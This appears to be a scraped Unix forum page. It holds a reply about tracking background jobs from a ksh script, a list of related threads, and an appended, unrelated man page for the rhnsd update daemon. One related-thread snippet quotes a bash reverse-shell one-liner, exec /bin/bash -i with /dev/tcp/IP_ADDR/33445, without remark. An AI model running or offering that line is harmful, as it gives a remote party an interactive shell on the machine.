Sponsored Content
Top Forums Shell Programming and Scripting Problem running a program/script in the background from a script Post 302508356 by Chubler_XL on Monday 28th of March 2011 02:02:22 AM
Old 03-28-2011
Quote:
Originally Posted by methyl
If the script needs to wait for a single job to complete there is no reason to background the job. In this context a background job issued without a "nohup" might as well be in foreground.
Rather than "ps" try the "jobs" command to monitor your background processes.
"jobs" will only list the child processes of the current script not those started by xxx.ksh, unless it is source in the current shell by . xxx/xxx.ksh

I'm reluctant to recommend sourcing the script or changing it (e.g. adding a "run in foreground" flag, or a "wait before returning" flag) without knowing more about what it is doing and how complex the bacground task(s) it starts are. This is why I recommended using ps to watch the tasks it starts and continuing when the are done.
 

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

How to stop the script which is running in background

Hi I have a script, which i ran in background, can someone please help in stopping this. i gave this command: ksh abc.ksh & this script sends me a mail every 30 seconds. i have deleted the script but still i am getting the mails. can some one please help me stopping dese. ... (3 Replies)
Discussion started by: Prateek007
3 Replies

2. UNIX for Dummies Questions & Answers

Running the Script in Background.

Gurus, Pls. help on this to run the script in background. I have a script to run the informatica workflows using PMCMD in script. Say the script name is test.sh & Parameters to the script is Y Y Y Y The no of parameters to the bove script is 4. all are going to be a flags. Each flag will... (2 Replies)
Discussion started by: prabhutkl
2 Replies

3. UNIX for Advanced & Expert Users

Running script in background

When I run the following snippet in background #!/bin/ksh while do echo "$i" sleep 10 i=`expr $i + 1` done My job got stopped and it says like + Stopped (SIGTTOU) ex1 & I did "stty tostop" as suggested in many of the post but still not working... (3 Replies)
Discussion started by: shahnazurs
3 Replies

4. Shell Programming and Scripting

Running a unix script(which is calling another script inside that) in background

Hi all, I am having a script ScriptA which is calling a script ScriptB in the same server and copying files to second server and have to execute one script ScriptC in the second server. THis First script ScriptA is the main script and i have to execute this process continously. for Keeping... (2 Replies)
Discussion started by: rohithji
2 Replies

5. Shell Programming and Scripting

running the script in background

I have a script called startWebLogic.sh which I was running in the background but the problem is which I used the command :- ps -elf | grep "startWebLogic.sh" | grep -v grep to find the process id but I was unable to find the process id for this script and when I checked from the front end the... (3 Replies)
Discussion started by: maitree
3 Replies

6. Shell Programming and Scripting

Shell script running in background

Dear all, I have a little problem trying to run a shell script in background, as you can see below. - the script is a simple one: #! /bin/bash exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0 - the name of the script is test.sh - the script is executable(chmod +x test.sh) - on the... (2 Replies)
Discussion started by: gd05
2 Replies

7. Shell Programming and Scripting

Remove Script still running in background

HI I have by mistaken delete my script but its still running in background and giving me output and cretaed ..nfsB5DC2 file. I have kill all my prosses still it running.... How can i stop this script. i have unix solaris systems. (8 Replies)
Discussion started by: asavaliya
8 Replies

8. Shell Programming and Scripting

Error when running script in background

Hi guys, ./test.sh & #!/usr/bin/ksh echo "No.Of Items :" read count echo "Report Time (Min):" read time some other command .... exit 0; thanks (3 Replies)
Discussion started by: asavaliya
3 Replies

9. Shell Programming and Scripting

Shell Script for continuously checking status of a another script running in background, and immedia

Hi, I want to write a script which continuously checking status of a script running in background by nohup command. And if same script is not running then immediately start the script...please help.. i am using below command to run script nohup system_traps.sh & but in some... (9 Replies)
Discussion started by: ketanraut
9 Replies

10. Shell Programming and Scripting

Running script in background

Hi, I wrote a KSH script and running it on HP-UX machine I am running one script in background. My script is at location $HOME/myScript/test/background_sh When I view my script in background with psu commend > psu | grep background_sh I see following output UID PID PPID C ... (1 Reply)
Discussion started by: vaibhav
1 Replies
RHNSD(8)							   Red Hat, Inc.							  RHNSD(8)

NAME
rhnsd - A program for querying the Spacewalk server for updates and information. SYNOPSIS
rhn_check [options] DESCRIPTION
rhnsd is a background daemon process that periodically polls the Spacewalk server to see if there are any queued actions available. If any are queued, rhnsd will execute those actions. rhnsd is typically started from the initialization (init) scripts in /etc/init.d/rhnsd. when it's time to poll the Spacewalk server for available updates and actions. The default interval is every 240 minutes. The minimum polling interval is 60 minutes. To check for updates, rhnsd runs an external program called rhn_check. This is a small application that actually makes the network connec- tion to Spacewalk. The rhnsd daemon does not listen on any network ports, nor does it ever talk to the network directly. Any network activity is done via the rhn_check utility. rhnsd can be configured by editing the /etc/sysconfig/rhn/rhnsd. configuration file. This is actually the configuration file the rhnsd initialization script /etc/init.d/rhnsd. uses. OPTIONS
-i, --interval Specify the interval that rhnsd should wait between checking the Spacewalk. Default is 240 minutes, the minimum is 60 minutes. This can also be specified in /etc/sysconfig/rhn/rhnsd -f, --foreground force the rhnsd process to run in the foreground instead of automatically backgrounding itself, as it does by default. FILES
/etc/sysconfig/rhn/rhnsd Configuration settings for the rhnsd daemon's initialization script. SEE ALSO
rhn_check(8), rhn_register(8), rhnsd(8), rhn-profile-sync(8), rhnplugin(8), up2date(5). AUTHORS
Preston Brown <pbrown@redhat.com> Cristian Gafton <gafton@redhat.com> Adrian Likins <alikins@redhat.com> James Bowes <jbowes@redhat.com> BUGS
Report bugs to <http://bugzilla.redhat.com>. COPYRIGHT
Copyright (C) 1999-2006 Red Hat, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICU- LAR PURPOSE. Linux 2006 November 13 RHNSD(8)
All times are GMT -4. The time now is 07:26 AM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy